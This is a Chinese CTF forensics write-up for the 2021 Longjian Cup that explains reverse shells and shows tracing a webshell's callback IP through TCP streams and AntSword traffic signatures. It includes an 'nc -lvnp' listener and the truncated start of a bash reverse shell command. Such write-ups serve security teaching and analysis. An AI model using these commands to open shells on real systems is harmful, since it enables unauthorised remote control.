[陇剑杯 2021]简单日志分析（问3）
先解释一下什么是反弹shell,
“反弹 shell”（reverse shell）是渗透测试和网络安全中非常核心的概念之一。 简单说：它是一种让被控主机主动连接攻击者主机，从而获得交互式命令行控制权的方式。
在正常情况（正向 shell）下，是攻击者主动连接目标，比如：
1nc target_ip 4444
这是“我去找你”。
而反弹 shell 是相反的方向：被攻击的机器主动“反弹”一个连接回攻击者。 换句话说：“你来找我”。
例如，攻击者在自己的电脑上监听：
1nc -lvnp 4444
然后让目标主机执行：
1bash -i >...
[陇剑杯 2021]webshell（问6）黑客代理工具的回连服务端IP是_____________。
追踪
[^tcp流]: 为什么要追踪TCP流，在网络流量分析中，“追踪 TCP 流”（Follow TCP Stream）能把原本零散的网络数据包还原成一条逻辑上的“会话”，也就是通信双方之间的完整数据交换。TCP 流能揭示攻击手法、命令序列、数据泄露路径。
，在流38中发现一串十六进制代码，
这是
[^蚁剑特征]: 蚁剑的 PHP 端马（默认马）在通信上固定的特征：
特征位置
内容说明
@ini_set("display_errors","0...